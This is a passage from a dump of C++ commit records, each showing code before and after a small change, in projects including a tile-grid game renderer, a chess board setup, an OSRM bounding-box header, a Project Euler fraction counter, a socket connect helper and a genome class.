Engine::b2d() );\n hgeResourceManager * rm( Engine::rm() );\n ViewPort * vp( Engine::vp() );\n\n Engine::em()->init();\n\n vp->offset().x = 0.0f;\n vp->offset().y = 0.0f;\n vp->centre().x = 0.0f;\n vp->centre().y = 0.0f;\n vp->bounds().x = 1280.0f;\n vp->bounds().y = 720.0f;\n vp->setAngle( 0.0f );\n vp->setScale( 10.0f );\n \n for ( int x = 0; x < 10; ++x )\n {\n for ( int y = 0; y < 20; ++y )\n {\n m_arena[x][y] = false;\n }\n }\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nGame::fini()\n{\n Engine::em()->fini();\n}\n\n\/\/------------------------------------------------------------------------------\nbool\nGame::update( float dt )\n{\n const Controller & pad( Engine::instance()->getController() );\n HGE * hge( Engine::hge() );\n ViewPort * vp( Engine::vp() );\n\n bool paused( Engine::instance()->isPaused() );\n\n return false;\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nGame::render()\n{\n hgeResourceManager * rm( Engine::rm() );\n hgeFont* font = Engine::rm()->GetFont(\"menu\");\n ViewPort * vp( Engine::vp() );\n \n vp->setTransform();\n\n float scale( 1.0f );\n std::vector< Entity * > entities;\n for ( b2Body * body( Engine::b2d()->GetBodyList() ); body != NULL;\n body = body->GetNext() )\n {\n Entity * entity( static_cast< Entity * >( body->GetUserData() ) );\n if ( entity )\n {\n entity->render( scale );\n }\n }\n\n Engine::vp()->reset();\n vp->setTransform();\n\n hgeSprite * black( rm->GetSprite( \"empty\" ) );\n hgeSprite * white( rm->GetSprite( \"tile\" ) );\n\n for ( int x = 0; x < 10; ++x )\n {\n for ( int y = 0; y < 20; ++y )\n {\n hgeSprite * sprite( m_arena[x][y] ? white : black );\n sprite->RenderEx( ( x - 4.5 ) * 3.2f, ( y - 9.5 ) * 3.2f,\n 0.0f, 0.1f );\n }\n }\n}\n\n\/\/==============================================================================\n<commit_msg>Fix warning<commit_after>\/\/==============================================================================\n\n#include <game.hpp>\n#include <engine.hpp>\n#include <entity.hpp>\n#include <entity_manager.hpp>\n#include <viewport.hpp>\n#include <score.hpp>\n\n#include <hgeresource.h>\n\n#include <algorithm>\n#include <set>\n\n\/\/==============================================================================\nGame::Game()\n :\n Context(),\n m_arena()\n{\n}\n\n\/\/------------------------------------------------------------------------------\nGame::~Game()\n{\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ public:\n\/\/------------------------------------------------------------------------------\nvoid\nGame::init()\n{\n HGE * hge( Engine::hge() );\n b2World * b2d( Engine::b2d() );\n hgeResourceManager * rm( Engine::rm() );\n ViewPort * vp( Engine::vp() );\n\n Engine::em()->init();\n\n vp->offset().x = 0.0f;\n vp->offset().y = 0.0f;\n vp->centre().x = 0.0f;\n vp->centre().y = 0.0f;\n vp->bounds().x = 1280.0f;\n vp->bounds().y = 720.0f;\n vp->setAngle( 0.0f );\n vp->setScale( 10.0f );\n \n for ( int x = 0; x < 10; ++x )\n {\n for ( int y = 0; y < 20; ++y )\n {\n m_arena[x][y] = false;\n }\n }\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nGame::fini()\n{\n Engine::em()->fini();\n}\n\n\/\/------------------------------------------------------------------------------\nbool\nGame::update( float dt )\n{\n const Controller & pad( Engine::instance()->getController() );\n HGE * hge( Engine::hge() );\n ViewPort * vp( Engine::vp() );\n\n bool paused( Engine::instance()->isPaused() );\n\n return false;\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nGame::render()\n{\n hgeResourceManager * rm( Engine::rm() );\n hgeFont* font = Engine::rm()->GetFont(\"menu\");\n ViewPort * vp( Engine::vp() );\n \n vp->setTransform();\n\n float scale( 1.0f );\n std::vector< Entity * > entities;\n for ( b2Body * body( Engine::b2d()->GetBodyList() ); body != NULL;\n body = body->GetNext() )\n {\n Entity * entity( static_cast< Entity * >( body->GetUserData() ) );\n if ( entity )\n {\n entity->render( scale );\n }\n }\n\n Engine::vp()->reset();\n vp->setTransform();\n\n hgeSprite * black( rm->GetSprite( \"empty\" ) );\n hgeSprite * white( rm->GetSprite( \"tile\" ) );\n\n for ( int x = 0; x < 10; ++x )\n {\n for ( int y = 0; y < 20; ++y )\n {\n hgeSprite * sprite( m_arena[x][y] ? white : black );\n sprite->RenderEx( ( x - 4.5f ) * 3.2f, ( y - 9.5f ) * 3.2f,\n 0.0f, 0.1f );\n }\n }\n}\n\n\/\/==============================================================================\n<|endoftext|>"} {"text":"<commit_before>#include \"game.h\"\n#include \"rook.h\"\n#include \"pawn.h\"\n#include \"queen.h\"\n#include \"bishop.h\"\n#include \"knight.h\"\n#include \"king.h\"\ngame::game()\n{\n\tturn = true;\n\tboard.addPiece(new rook(0,0,true));\n\tboard.addPiece(new knight(1,0,true));\n\tboard.addPiece(new bishop(2,0,true));\n\tboard.addPiece(new queen(3,0,true));\n\tboard.addPiece(new king(4,0,true));\n\tboard.addPiece(new bishop(5,0,true));\n\tboard.addPiece(new knight(6,0,true));\n\tboard.addPiece(new rook(7,0,true));\n\tfor(int i = 0;i<8;i++)\n\t{\n\t\tboard.addPiece(new pawn(i,1,true));\n\t}\n\n\tboard.addPiece(new rook(0,7,true));\n\tboard.addPiece(new knight(1,7,true));\n\tboard.addPiece(new bishop(2,7,true));\n\tboard.addPiece(new queen(3,7,true));\n\tboard.addPiece(new king(4,7,true));\n\tboard.addPiece(new bishop(5,7,true));\n\tboard.addPiece(new knight(6,7,true));\n\tboard.addPiece(new rook(7,7,true));\n\tfor(int i = 0;i<8;i++)\n\t{\n\t\tboard.addPiece(new pawn(i,6,true));\n\t}\n\n}\ngame::~game(){}\n\nvoid game::print()\n{\n\tboard.printBoard();\n}<commit_msg>Fixed naming issue<commit_after>#include \"game.h\"\n#include \"rook.h\"\n#include \"pawn.h\"\n#include \"queen.h\"\n#include \"bishop.h\"\n#include \"knight.h\"\n#include \"king.h\"\ngame::game()\n{\n\tturn = true;\n\tboardGame.addPiece(new rook(0,0,true));\n\tboardGame.addPiece(new knight(1,0,true));\n\tboardGame.addPiece(new bishop(2,0,true));\n\tboardGame.addPiece(new queen(3,0,true));\n\tboardGame.addPiece(new king(4,0,true));\n\tboardGame.addPiece(new bishop(5,0,true));\n\tboardGame.addPiece(new knight(6,0,true));\n\tboardGame.addPiece(new rook(7,0,true));\n\tfor(int i = 0;i<8;i++)\n\t{\n\t\tboardGame.addPiece(new pawn(i,1,true));\n\t}\n\n\tboardGame.addPiece(new rook(0,7,true));\n\tboardGame.addPiece(new knight(1,7,true));\n\tboardGame.addPiece(new bishop(2,7,true));\n\tboardGame.addPiece(new queen(3,7,true));\n\tboardGame.addPiece(new king(4,7,true));\n\tboardGame.addPiece(new bishop(5,7,true));\n\tboardGame.addPiece(new knight(6,7,true));\n\tboardGame.addPiece(new rook(7,7,true));\n\tfor(int i = 0;i<8;i++)\n\t{\n\t\tboardGame.addPiece(new pawn(i,6,true));\n\t}\n\n}\ngame::~game(){}\n\nvoid game::print()\n{\n\tboardGame.printBoard();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2015, Project OSRM, Dennis Luxen, others\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\nRedistributions of source code must retain the above copyright notice, this list\nof conditions and the following disclaimer.\nRedistributions in binary form must reproduce the above copyright notice, this\nlist of conditions and the following disclaimer in the documentation and\/or\nother materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef RECTANGLE_HPP\n#define RECTANGLE_HPP\n\n#include \"coordinate_calculation.hpp\"\n\n#include <boost\/assert.hpp>\n\n#include <algorithm>\n#include <cstdint>\n#include <limits>\n\n\/\/ TODO: Make template type, add tests\nstruct RectangleInt2D\n{\n RectangleInt2D()\n : min_lon(std::numeric_limits<int32_t>::max()),\n max_lon(std::numeric_limits<int32_t>::min()),\n min_lat(std::numeric_limits<int32_t>::max()), max_lat(std::numeric_limits<int32_t>::min())\n {\n }\n\n int32_t min_lon, max_lon;\n int32_t min_lat, max_lat;\n\n void MergeBoundingBoxes(const RectangleInt2D &other)\n {\n min_lon = std::min(min_lon, other.min_lon);\n max_lon = std::max(max_lon, other.max_lon);\n min_lat = std::min(min_lat, other.min_lat);\n max_lat = std::max(max_lat, other.max_lat);\n BOOST_ASSERT(min_lat != std::numeric_limits<int32_t>::min());\n BOOST_ASSERT(min_lon != std::numeric_limits<int32_t>::min());\n BOOST_ASSERT(max_lat != std::numeric_limits<int32_t>::min());\n BOOST_ASSERT(max_lon != std::numeric_limits<int32_t>::min());\n }\n\n FixedPointCoordinate Centroid() const\n {\n FixedPointCoordinate centroid;\n \/\/ The coordinates of the midpoints are given by:\n \/\/ x = (x1 + x2) \/2 and y = (y1 + y2) \/2.\n centroid.lon = (min_lon + max_lon) \/ 2;\n centroid.lat = (min_lat + max_lat) \/ 2;\n return centroid;\n }\n\n bool Intersects(const RectangleInt2D &other) const\n {\n FixedPointCoordinate upper_left(other.max_lat, other.min_lon);\n FixedPointCoordinate upper_right(other.max_lat, other.max_lon);\n FixedPointCoordinate lower_right(other.min_lat, other.max_lon);\n FixedPointCoordinate lower_left(other.min_lat, other.min_lon);\n\n return (Contains(upper_left) || Contains(upper_right) || Contains(lower_right) ||\n Contains(lower_left));\n }\n\n float GetMinDist(const FixedPointCoordinate &location) const\n {\n const bool is_contained = Contains(location);\n if (is_contained)\n {\n return 0.0f;\n }\n\n enum Direction\n {\n INVALID = 0,\n NORTH = 1,\n SOUTH = 2,\n EAST = 4,\n NORTH_EAST = 5,\n SOUTH_EAST = 6,\n WEST = 8,\n NORTH_WEST = 9,\n SOUTH_WEST = 10\n };\n\n Direction d = INVALID;\n if (location.lat > max_lat)\n d = (Direction)(d | NORTH);\n else if (location.lat < min_lat)\n d = (Direction)(d | SOUTH);\n if (location.lon > max_lon)\n d = (Direction)(d | EAST);\n else if (location.lon < min_lon)\n d = (Direction)(d | WEST);\n\n BOOST_ASSERT(d != INVALID);\n\n float min_dist = std::numeric_limits<float>::max();\n switch (d)\n {\n case NORTH:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(max_lat, location.lon));\n break;\n case SOUTH:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(min_lat, location.lon));\n break;\n case WEST:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(location.lat, min_lon));\n break;\n case EAST:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(location.lat, max_lon));\n break;\n case NORTH_EAST:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(max_lat, max_lon));\n break;\n case NORTH_WEST:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(max_lat, min_lon));\n break;\n case SOUTH_EAST:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(min_lat, max_lon));\n break;\n case SOUTH_WEST:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(min_lat, min_lon));\n break;\n default:\n break;\n }\n\n BOOST_ASSERT(min_dist < std::numeric_limits<float>::max());\n\n return min_dist;\n }\n\n float GetMinMaxDist(const FixedPointCoordinate &location) const\n {\n float min_max_dist = std::numeric_limits<float>::max();\n \/\/ Get minmax distance to each of the four sides\n const FixedPointCoordinate upper_left(max_lat, min_lon);\n const FixedPointCoordinate upper_right(max_lat, max_lon);\n const FixedPointCoordinate lower_right(min_lat, max_lon);\n const FixedPointCoordinate lower_left(min_lat, min_lon);\n\n min_max_dist =\n std::min(min_max_dist,\n std::max(coordinate_calculation::euclidean_distance(location, upper_left),\n coordinate_calculation::euclidean_distance(location, upper_right)));\n\n min_max_dist =\n std::min(min_max_dist,\n std::max(coordinate_calculation::euclidean_distance(location, upper_right),\n coordinate_calculation::euclidean_distance(location, lower_right)));\n\n min_max_dist =\n std::min(min_max_dist,\n std::max(coordinate_calculation::euclidean_distance(location, lower_right),\n coordinate_calculation::euclidean_distance(location, lower_left)));\n\n min_max_dist =\n std::min(min_max_dist,\n std::max(coordinate_calculation::euclidean_distance(location, lower_left),\n coordinate_calculation::euclidean_distance(location, upper_left)));\n return min_max_dist;\n }\n\n bool Contains(const FixedPointCoordinate &location) const\n {\n const bool lats_contained = (location.lat >= min_lat) && (location.lat <= max_lat);\n const bool lons_contained = (location.lon >= min_lon) && (location.lon <= max_lon);\n return lats_contained && lons_contained;\n }\n\n friend std::ostream &operator<<(std::ostream &out, const RectangleInt2D &rect)\n {\n out << rect.min_lat \/ COORDINATE_PRECISION << \",\" << rect.min_lon \/ COORDINATE_PRECISION\n << \" \" << rect.max_lat \/ COORDINATE_PRECISION << \",\"\n << rect.max_lon \/ COORDINATE_PRECISION;\n return out;\n }\n};\n\n#endif\n<commit_msg>add include to be self-sufficient<commit_after>\/*\n\nCopyright (c) 2015, Project OSRM, Dennis Luxen, others\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\nRedistributions of source code must retain the above copyright notice, this list\nof conditions and the following disclaimer.\nRedistributions in binary form must reproduce the above copyright notice, this\nlist of conditions and the following disclaimer in the documentation and\/or\nother materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef RECTANGLE_HPP\n#define RECTANGLE_HPP\n\n#include \"coordinate_calculation.hpp\"\n\n#include <boost\/assert.hpp>\n\n#include <osrm\/coordinate.hpp>\n\n#include <algorithm>\n#include <cstdint>\n#include <limits>\n\n\/\/ TODO: Make template type, add tests\nstruct RectangleInt2D\n{\n RectangleInt2D()\n : min_lon(std::numeric_limits<int32_t>::max()),\n max_lon(std::numeric_limits<int32_t>::min()),\n min_lat(std::numeric_limits<int32_t>::max()), max_lat(std::numeric_limits<int32_t>::min())\n {\n }\n\n int32_t min_lon, max_lon;\n int32_t min_lat, max_lat;\n\n void MergeBoundingBoxes(const RectangleInt2D &other)\n {\n min_lon = std::min(min_lon, other.min_lon);\n max_lon = std::max(max_lon, other.max_lon);\n min_lat = std::min(min_lat, other.min_lat);\n max_lat = std::max(max_lat, other.max_lat);\n BOOST_ASSERT(min_lat != std::numeric_limits<int32_t>::min());\n BOOST_ASSERT(min_lon != std::numeric_limits<int32_t>::min());\n BOOST_ASSERT(max_lat != std::numeric_limits<int32_t>::min());\n BOOST_ASSERT(max_lon != std::numeric_limits<int32_t>::min());\n }\n\n FixedPointCoordinate Centroid() const\n {\n FixedPointCoordinate centroid;\n \/\/ The coordinates of the midpoints are given by:\n \/\/ x = (x1 + x2) \/2 and y = (y1 + y2) \/2.\n centroid.lon = (min_lon + max_lon) \/ 2;\n centroid.lat = (min_lat + max_lat) \/ 2;\n return centroid;\n }\n\n bool Intersects(const RectangleInt2D &other) const\n {\n FixedPointCoordinate upper_left(other.max_lat, other.min_lon);\n FixedPointCoordinate upper_right(other.max_lat, other.max_lon);\n FixedPointCoordinate lower_right(other.min_lat, other.max_lon);\n FixedPointCoordinate lower_left(other.min_lat, other.min_lon);\n\n return (Contains(upper_left) || Contains(upper_right) || Contains(lower_right) ||\n Contains(lower_left));\n }\n\n float GetMinDist(const FixedPointCoordinate &location) const\n {\n const bool is_contained = Contains(location);\n if (is_contained)\n {\n return 0.0f;\n }\n\n enum Direction\n {\n INVALID = 0,\n NORTH = 1,\n SOUTH = 2,\n EAST = 4,\n NORTH_EAST = 5,\n SOUTH_EAST = 6,\n WEST = 8,\n NORTH_WEST = 9,\n SOUTH_WEST = 10\n };\n\n Direction d = INVALID;\n if (location.lat > max_lat)\n d = (Direction)(d | NORTH);\n else if (location.lat < min_lat)\n d = (Direction)(d | SOUTH);\n if (location.lon > max_lon)\n d = (Direction)(d | EAST);\n else if (location.lon < min_lon)\n d = (Direction)(d | WEST);\n\n BOOST_ASSERT(d != INVALID);\n\n float min_dist = std::numeric_limits<float>::max();\n switch (d)\n {\n case NORTH:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(max_lat, location.lon));\n break;\n case SOUTH:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(min_lat, location.lon));\n break;\n case WEST:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(location.lat, min_lon));\n break;\n case EAST:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(location.lat, max_lon));\n break;\n case NORTH_EAST:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(max_lat, max_lon));\n break;\n case NORTH_WEST:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(max_lat, min_lon));\n break;\n case SOUTH_EAST:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(min_lat, max_lon));\n break;\n case SOUTH_WEST:\n min_dist = coordinate_calculation::euclidean_distance(\n location, FixedPointCoordinate(min_lat, min_lon));\n break;\n default:\n break;\n }\n\n BOOST_ASSERT(min_dist < std::numeric_limits<float>::max());\n\n return min_dist;\n }\n\n float GetMinMaxDist(const FixedPointCoordinate &location) const\n {\n float min_max_dist = std::numeric_limits<float>::max();\n \/\/ Get minmax distance to each of the four sides\n const FixedPointCoordinate upper_left(max_lat, min_lon);\n const FixedPointCoordinate upper_right(max_lat, max_lon);\n const FixedPointCoordinate lower_right(min_lat, max_lon);\n const FixedPointCoordinate lower_left(min_lat, min_lon);\n\n min_max_dist =\n std::min(min_max_dist,\n std::max(coordinate_calculation::euclidean_distance(location, upper_left),\n coordinate_calculation::euclidean_distance(location, upper_right)));\n\n min_max_dist =\n std::min(min_max_dist,\n std::max(coordinate_calculation::euclidean_distance(location, upper_right),\n coordinate_calculation::euclidean_distance(location, lower_right)));\n\n min_max_dist =\n std::min(min_max_dist,\n std::max(coordinate_calculation::euclidean_distance(location, lower_right),\n coordinate_calculation::euclidean_distance(location, lower_left)));\n\n min_max_dist =\n std::min(min_max_dist,\n std::max(coordinate_calculation::euclidean_distance(location, lower_left),\n coordinate_calculation::euclidean_distance(location, upper_left)));\n return min_max_dist;\n }\n\n bool Contains(const FixedPointCoordinate &location) const\n {\n const bool lats_contained = (location.lat >= min_lat) && (location.lat <= max_lat);\n const bool lons_contained = (location.lon >= min_lon) && (location.lon <= max_lon);\n return lats_contained && lons_contained;\n }\n\n friend std::ostream &operator<<(std::ostream &out, const RectangleInt2D &rect)\n {\n out << rect.min_lat \/ COORDINATE_PRECISION << \",\" << rect.min_lon \/ COORDINATE_PRECISION\n << \" \" << rect.max_lat \/ COORDINATE_PRECISION << \",\"\n << rect.max_lon \/ COORDINATE_PRECISION;\n return out;\n }\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <lib\/Numeric.hpp>\n\n#include <iostream>\n#include <thread>\n#include <mutex>\n#include <vector>\n#include <atomic>\n\nstruct Fraction\n{\n Fraction(uint64_t n, uint64_t d)\n : numerator(n),\n denominator(d),\n value((double)n \/ d)\n {\n\n }\n\n Fraction(uint64_t n, uint64_t d, double f)\n : numerator(n),\n denominator(d),\n value(f)\n {\n\n }\n\n size_t numerator;\n size_t denominator;\n double value;\n\n auto operator<(const Fraction& other) const -> bool\n {\n return value < other.value;\n }\n};\n\n\/**\n * Counting fractions in a range\n * Problem 71\n *\n * Consider the fraction, n\/d, where n and d are positive integers.\n * If n < d and HCF(n, d) = 1, it is called a reduced proper fraction.\n *\n * If we list the set of reduced proper fractions for d <= 8 in ascending order of size, we get:\n * 1\/8, 1\/7, 1\/6, 1\/5, 1\/4, 2\/7, 1\/3, 3\/8, 2\/5, 3\/7, 1\/2, 4\/7, 3\/5, 5\/8, 2\/3, 5\/7, 3\/4, 4\/5, 5\/6, 6\/7, 7\/8\n *\n * It can be seen that there are 3 fractions between 1\/3 and 1\/2.\n *\n * How many fractions lie between 1\/3 and 1\/2 in the sorted set of reduced proper fractions for d <= 12,000?\n *\/\nint main()\n{\n Fraction lower_bound{1, 3};\n Fraction upper_bound{1, 2};\n std::atomic<size_t> worker_position{0};\n std::atomic<size_t> g_count{0};\n\n std::vector<std::thread> workers;\n\n constexpr size_t WORKER_COUNT = 8;\n constexpr size_t STOP = 1'000'000;\n constexpr size_t WORK_AMOUNT = 1000;\n\n for(size_t w = 0; w < WORKER_COUNT; ++w)\n {\n workers.emplace_back(\n [&lower_bound, &upper_bound, &worker_position, &g_count]()\n {\n while(worker_position < STOP)\n {\n size_t start_idx = worker_position.fetch_add(WORK_AMOUNT);\n size_t stop_idx = start_idx + WORK_AMOUNT;\n\n size_t local_count{0};\n\n if(__glibc_unlikely(start_idx == 0))\n {\n start_idx = 2;\n }\n\n if(__glibc_unlikely(stop_idx >= STOP))\n {\n stop_idx = STOP + 1;\n }\n\n for(size_t d = start_idx; d < stop_idx; ++d)\n {\n for(size_t n = 1; n < d; ++n)\n {\n \/\/ skip anything less than current left fraction\n double value = ((double)n) \/ d;\n if(value <= lower_bound.value)\n {\n continue;\n }\n \/\/ stop entirely if the fraction is now 3\/7 or greater.\n else if(value >= upper_bound.value)\n {\n break;\n }\n\n \/\/ If the gcd equals 1, reduce the fraction\n \/\/ and save to merge into the global to_the_left var\n \/\/ across threads. These are our candidates to be the\n \/\/ next version\n auto hcf = lib::gcd(n, d);\n if(hcf == 1)\n {\n ++local_count;\n }\n }\n }\n\n g_count += local_count;\n }\n }\n );\n }\n\n while(worker_position < STOP)\n {\n using namespace std::chrono_literals;\n std::this_thread::sleep_for(1000ms);\n std::cout << worker_position << \"\\n\";\n }\n\n for(auto& t : workers)\n {\n t.join();\n }\n\n std::cout << g_count;\n\n return 0;\n}\n<commit_msg>add p073 c++ solution<commit_after>#include <lib\/Numeric.hpp>\n\n#include <iostream>\n#include <thread>\n#include <mutex>\n#include <vector>\n#include <atomic>\n\nstruct Fraction\n{\n Fraction(uint64_t n, uint64_t d)\n : numerator(n),\n denominator(d),\n value((double)n \/ d)\n {\n\n }\n\n Fraction(uint64_t n, uint64_t d, double f)\n : numerator(n),\n denominator(d),\n value(f)\n {\n\n }\n\n size_t numerator;\n size_t denominator;\n double value;\n\n auto operator<(const Fraction& other) const -> bool\n {\n return value < other.value;\n }\n};\n\n\/**\n * Counting fractions in a range\n * Problem 71\n *\n * Consider the fraction, n\/d, where n and d are positive integers.\n * If n < d and HCF(n, d) = 1, it is called a reduced proper fraction.\n *\n * If we list the set of reduced proper fractions for d <= 8 in ascending order of size, we get:\n * 1\/8, 1\/7, 1\/6, 1\/5, 1\/4, 2\/7, 1\/3, 3\/8, 2\/5, 3\/7, 1\/2, 4\/7, 3\/5, 5\/8, 2\/3, 5\/7, 3\/4, 4\/5, 5\/6, 6\/7, 7\/8\n *\n * It can be seen that there are 3 fractions between 1\/3 and 1\/2.\n *\n * How many fractions lie between 1\/3 and 1\/2 in the sorted set of reduced proper fractions for d <= 12,000?\n *\/\nint main()\n{\n Fraction lower_bound{1, 3};\n Fraction upper_bound{1, 2};\n std::atomic<size_t> worker_position{0};\n std::atomic<size_t> g_count{0};\n\n std::vector<std::thread> workers;\n\n constexpr size_t WORKER_COUNT = 8;\n constexpr size_t STOP = 12'000;\n constexpr size_t WORK_AMOUNT = 1000;\n\n for(size_t w = 0; w < WORKER_COUNT; ++w)\n {\n workers.emplace_back(\n [&lower_bound, &upper_bound, &worker_position, &g_count]()\n {\n while(worker_position < STOP)\n {\n size_t start_idx = worker_position.fetch_add(WORK_AMOUNT);\n size_t stop_idx = start_idx + WORK_AMOUNT;\n\n size_t local_count{0};\n\n if(__glibc_unlikely(start_idx == 0))\n {\n start_idx = 2;\n }\n\n if(__glibc_unlikely(stop_idx >= STOP))\n {\n stop_idx = STOP + 1;\n }\n\n for(size_t d = start_idx; d < stop_idx; ++d)\n {\n for(size_t n = 1; n < d; ++n)\n {\n \/\/ skip anything less than current left fraction\n double value = ((double)n) \/ d;\n if(value <= lower_bound.value)\n {\n continue;\n }\n \/\/ stop entirely if the fraction is now 3\/7 or greater.\n else if(value >= upper_bound.value)\n {\n break;\n }\n\n \/\/ If the gcd equals 1, reduce the fraction\n \/\/ and save to merge into the global to_the_left var\n \/\/ across threads. These are our candidates to be the\n \/\/ next version\n auto hcf = lib::gcd(n, d);\n if(hcf == 1)\n {\n ++local_count;\n }\n }\n }\n\n g_count += local_count;\n }\n }\n );\n }\n\n while(worker_position < STOP)\n {\n using namespace std::chrono_literals;\n std::this_thread::sleep_for(1000ms);\n std::cout << worker_position << \"\\n\";\n }\n\n for(auto& t : workers)\n {\n t.join();\n }\n\n std::cout << g_count;\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"RConnectSocket.hxx\"\n#include \"net\/Resolver.hxx\"\n#include \"net\/AddressInfo.hxx\"\n#include \"net\/UniqueSocketDescriptor.hxx\"\n#include \"system\/Error.hxx\"\n#include \"io\/FileDescriptor.hxx\"\n\nUniqueSocketDescriptor\nResolveConnectSocket(const char *host_and_port, int default_port,\n const struct addrinfo &hints)\n{\n const auto ail = Resolve(host_and_port, default_port, &hints);\n const auto &ai = ail.front();\n\n UniqueSocketDescriptor s;\n if (!s.CreateNonBlock(ai.GetFamily(), ai.GetType(), ai.GetProtocol()))\n throw MakeErrno(\"Failed to create socket\");\n\n if (!s.Connect(ai)) {\n if (errno != EINPROGRESS)\n throw MakeErrno(\"Failed to connect\");\n\n int w = FileDescriptor(s.Get()).WaitWritable(60000);\n if (w < 0)\n throw MakeErrno(\"Connect wait error\");\n else if (w == 0)\n throw std::runtime_error(\"Connect timeout\");\n\n int err = s.GetError();\n if (err != 0)\n throw MakeErrno(err, \"Failed to connect\");\n }\n\n return s;\n}\n<commit_msg>net\/RConnectSocket: eliminate obsolete FileDescriptor cast<commit_after>\/*\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"RConnectSocket.hxx\"\n#include \"net\/Resolver.hxx\"\n#include \"net\/AddressInfo.hxx\"\n#include \"net\/UniqueSocketDescriptor.hxx\"\n#include \"system\/Error.hxx\"\n\nUniqueSocketDescriptor\nResolveConnectSocket(const char *host_and_port, int default_port,\n const struct addrinfo &hints)\n{\n const auto ail = Resolve(host_and_port, default_port, &hints);\n const auto &ai = ail.front();\n\n UniqueSocketDescriptor s;\n if (!s.CreateNonBlock(ai.GetFamily(), ai.GetType(), ai.GetProtocol()))\n throw MakeErrno(\"Failed to create socket\");\n\n if (!s.Connect(ai)) {\n if (errno != EINPROGRESS)\n throw MakeErrno(\"Failed to connect\");\n\n int w = s.WaitWritable(60000);\n if (w < 0)\n throw MakeErrno(\"Connect wait error\");\n else if (w == 0)\n throw std::runtime_error(\"Connect timeout\");\n\n int err = s.GetError();\n if (err != 0)\n throw MakeErrno(err, \"Failed to connect\");\n }\n\n return s;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"genome.h\"\n#include <vector>\n#include <algorithm>\n\nGenome::Genome(const TrainingParameters& parameters) :\n\tparameters(parameters),\n\tgenes(parameters.numberOfInputs * parameters.numberOfOutputs)\n{\n\tauto *currentGene = &genes.front();\n\tfor (auto in = 0U; in < parameters.numberOfInputs; ++in) {\n\t\tfor (auto out = 0U; out < parameters.numberOfOutputs; ++out) {\n\t\t\tcurrentGene->from = in;\n\t\t\tcurrentGene->to = out + parameters.numberOfInputs;\n\t\t\t++currentGene;\n\t\t}\n\t}\n}\n\nstd::size_t Genome::ExtrapolateNeuronCount() const {\n\tauto CompareToNeuron = [](const Gene& lhs, const Gene& rhs) {\n\t\treturn lhs.to < rhs.to;\n\t};\n\tauto maxNeuronGene = std::max_element(genes.begin(), genes.end(), CompareToNeuron);\n\t\/\/ TODO jnf Maybe add lookup table\n\treturn 